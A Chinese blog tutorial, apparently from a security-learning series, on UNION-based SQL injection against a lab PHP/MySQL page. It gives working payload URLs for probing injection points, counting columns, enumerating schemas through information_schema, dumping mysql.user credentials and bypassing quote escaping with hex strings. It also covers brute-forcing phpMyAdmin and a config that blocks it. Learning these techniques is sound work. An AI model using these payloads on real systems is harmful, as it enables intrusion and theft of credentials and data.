• sql 注入(1), union 联合注入


    sql 注入, union 联合注入

    一, 参数分类

    根据可控参数的类型不同, 对注入类型分类:

    1. 数字型
        select * from table where id=1
    2. 字符型
        select * from table where username='root'
    3. 搜索型
        select * from table where id like '%root%'
    4. 关于注释:
        注入时, 在查询参数中使用注释需要url编码, 例如:
        '#'       使用 '%23'
        '--空格'  使用 '--+'
        '/* */'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    二, 探测注入点

    • 单引号测试
      直接加一个单引号测试sql语句是否闭合, 如果报错或者页面显示异常则可能有注入点, 例如:
    http://192.168.112.200/security/read.php?id=1' 页面异常或报错
    结论: 可能存在注入点, 进一步使用逻辑测试
    
    • 1
    • 2
    • 逻辑测试
    第一种情况:
    http://192.168.112.200/security/read.php?id=1 and 1=1  页面正常
    http://192.168.112.200/security/read.php?id=1 and 1=2  页面异常
    结论: 是数字型参数.
    
    • 1
    • 2
    • 3
    第二种情况
    http://192.168.112.200/security/read.php?id=1 and 1=1  页面正常
    http://192.168.112.200/security/read.php?id=1 and 1=2  页面也正常
    结论: 不是数字型参数, 进一步使用单引号和注释测试
    http://192.168.112.200/security/read.php?id=1' and 1=1 --+  页面正常
    http://192.168.112.200/security/read.php?id=1' and 1=2 --+  页面异常
    结论: 是字符型参数
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    本篇博文涉及到的注入的语句默认以数字型参数为基础, 如果是字符型参数, 则注入语句需要额外添加单引号与注释符号, 例如:

    数字型:
    http://192.168.112.200/security/read.php?id=1 union all select 1,2,3,4,5,6
    字符型:
    http://192.168.112.200/security/read.php?id=1' union all select 1,2,3,4,5,6 --+ 
    
    • 1
    • 2
    • 3
    • 4

    三, 注入测试

    1. 探测有效列数

    union 注入首先需要探测有效的列数, 使整体 union 语句有效.

    案例 url :

    http://192.168.112.200/security/read.php?id=1
    
    • 1

    情景:

    这个url的页面显示的是一本书的两条信息, 分别是 [书名] 与 [标题],
    在服务器查询的表是 [book], 字段名是 [bookname], [title] .
    假设 [book] 表一共有6个字段, 其中书名与标题分别是 第 3 列, 第 4 列.

    方式1: 使用 union 探测列数
    • 因为 union 语句的规则要求, union 前后两个表的列数必须相同才能执行, 所以只有当 union 后面的 select 语句所写的列数与前半段查询的那个表的列数一样才能正常执行.
    • 前半段语句, 将 id 设置为 -1 , 目的是让union前面的语句查询不出结果, 并且让整体sql语句符合语法规则, 可以顺利执行.
    • 后半段语句, union 后面 select 通过数字列号猜测最多列数, 从少到多, 每次猜测后, 发送一次请求, 观察页面变化.
    • 如果错了会报出代码异常或页面内容有变化,
      如果猜对了页面正常显示数据, 并且页面中, 原本显示 [书名] 与 [标题] 的位置上, 会代替它们显示对应列的数字编号 3, 4.
      那么3, 4 这两个位置就是可以利用的注入点, 用于后续显示我们需要的数据.

    测试过程:

        http://192.168.112.200/security/read.php?id=-1 union select 1, 2 # 失败
        http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 4 # 失败
        http://192.168.112.200/security/read.php?id=-1 union select 1, 2, 3, 4, 5, 6 # 成功
    
    • 1
    • 2
    • 3
    方式2: 使用 order by 探测列数
    • 因为 order by 可以使用数字代表对应的字段做排序, 例如根据第1列排序:
        select * from table order by 1
    
    • 1
    • 如果超出列数的范围则报错, 根据这个特点来测试表的最大列数,
    • 注意前面id的值必须是有效的, 使页面能够正常显示, 因为我们需要测试的是后面order by n 是否成功, 这与 union 注入不同:
        id=1 order by 20 # 失败
        id=1 order by 10 # 失败
        id=1 order by 8 # 失败
        id=1 order by 7 # 失败
        id=1 order by 6 # 成功, 说明最多是6列
    
    • 1
    • 2
    • 3
    • 4
    • 5
    2. union 简单注入测试

    得到有效列数之后, 就可以进行基本的注入测试了, 比如执行一些 sql 函数, 来获取数据库的基本信息.
    因为前面已经探测出列号 3, 4 位置上可以在页面显示, 所以利用这两个位置显示我们需要的数据. 例如:

        # 在网页上显示出当前查询的 数据库名 和 用户名
        http://.../read.php??id=-1 union select 1,2,database(),user(),5,6
    
    • 1
    • 2
    3. 注入获取服务器上所有数据库, 表, 列, 账户等数据.

    利用 mysql 内置的 information_schema 数据库查询

    • information_schema.schemata 表, 记录所有数据库名
      字段:
      schema_name 数据库名

    • information_schema.tables 表, 记录所有表名
      字段:
      table_schema 数据库名
      table_name 表名

    • information_schema.columns 表, 记录所有列名
      字段:
      table_schema 数据库名
      table_name 表名
      column_name 列名

    案例:

    • 查询所有数据库的名称
      方式1: 从 information_schema.schemata 表查询(包括不含表的空数据库)

      ?id=-1 union select 1,2,3, 
      (select group_concat(schema_name) from information_schema.schemata) , 5,6
      
      • 1
      • 2

      方式2: 从 information_schema.tables 表查询(不包括空数据库)

      ?id=-1 union select 1,2,3, 
      (select group_concat( distinct( table_schema ) ) from information_schema.tables) , 5,6
      
      • 1
      • 2
    • 查询已知库中的表名, 使用 limit n, m 每次查询一个表:

      # 第一张表:
      ?id=-1 union select 1,2,3, 
      (select table_name from information_schema.tables where table_schema='learn' limit 0,1) ,5,6
      # 第二张表:
      ?id=-1 union select 1,2,3, 
      (select table_name from information_schema.tables where table_schema='learn' limit 1,1) ,5,6
      # 第三张表:
      ?id=-1 union select 1,2,3, 
      (select table_name from information_schema.tables where table_schema='learn' limit 2,1) ,5,6
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
    • (技巧) 使用 group_concat() 函数, 将多行数据合并为一行字符串, 显示所有表名, 逗号间隔

      # 显示 learn 库的所有表
      ?id=-1 union select 1,2,3, 
      (select group_concat(table_name) from information_schema.tables 
      	where table_schema='learn') , 5,6
      
      • 1
      • 2
      • 3
      • 4
    • 使用 group_concat() 函数合并所有行上的数据为一行字符串, 逗号间隔

      # 显示 learn 库, user 表的所有列名
      ?id=-1 union select 1,2,3,
       (select group_concat(column_name) from information_schema.columns 
              where table_schema='learn' and table_name='user'),5,6
      
      • 1
      • 2
      • 3
      • 4
    • 使用内置表 mysql.user 查询 root 账户信息

      # mysql.user 表中记录所有数据库账户信息
      ?id=-1 union select 1,2,3, 
          (select concat(user, '|', password) from mysql.user limit 1) , 5,6
      
      • 1
      • 2
      • 3
    • (技巧) 使用 group_concat() 函数 与 concat_ws() 函数, 合并多行多列数据

      # concat_ws() 指定分隔符, 合并多列数据为一行字符串
      ?id=-1 union select 1,2,3, 
          (select concat_ws("|", user, password, host) from mysql.use limit 1), 5,6
      # 与 group_concat() 组合, 先将多列数据连接为一行字符串, 在合并多行字符串.
      ?id=-1 union select 1,2,3, 
          (select group_concat( concat_ws("|", user, password, host) ) from mysql.user ) , 5,6
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

    四, 转16进制绕过, 对于后台代码对单引号做了转义处理的情况

    • 原因:
      如果后台代码对提交的参数中的单引号做了转义处理: addslashes($_GET[‘id’])
      此时注入的sql中单引号不起作用: where table_schema=‘learn’

    • 解决办法:
      将字符串转16进制再注入, 例如:

      # 普通字符串与十六进制相互转换
       select hex('learn')        结果: 6C6561726E
       select unhex('6C6561726E') 结果: learn
      
      • 1
      • 2
      • 3
    • 注入:

      # 使用十六进制代替原本的普通字符串, 绕过单引号转义.
      # where table_schema='learn'
      ?id=-1 union select 1,2,3, 
      (select group_concat(table_name) from information_schema.tables 
          where table_schema=0x6C6561726E), 5,6
      
      • 1
      • 2
      • 3
      • 4
      • 5

    五, 数据库中出现phpmyadmin的情况

    • 攻击:
      尝试访问 /phpmyadmin, 如果配置认证方式为默认的: config, 则从网页可以直接进入后台,
      如果认证方式为: http, 则需要输入用户名和密码登录, 可爆破.

    • 防御:
      禁用phpmyadmin远程访问, 例如xampp环境:

      # 配置文件路径: 
      /opt/lampp/etc/extra/httpd-xampp.conf
      
      • 1
      • 2
      # since XAMPP 1.4.3
      <Directory "/opt/lampp/phpmyadmin">
          AllowOverride AuthConfig Limit
          Require local     # 只允许本地访问
          # Require all granted # 允许所有IP访问
          ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
      </Directory>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
  • 相关阅读:
    计算机专业课笔记集中整理贴(持续更新中。。。)
    获得阿里Java开发P7岗“农村穷苦”小伙就得安于现状?
    Leetcode3035. 回文字符串的最大数量
    K8S的安全机制
    VUE识别访问设备是移动端还是pc端
    【java深入学习第2章】Spring Boot 结合 Screw:高效生成数据库设计文档之道
    JAVASE语法零基础——Object类
    使用Java客户端发送消息和消费的应用
    猿创征文——C++|string类2
    java计算机毕业设计校园统一网络授课平台系统源码+mysql数据库+lw文档+系统+调试部署
  • 原文地址:https://blog.csdn.net/bua200720411091/article/details/133778519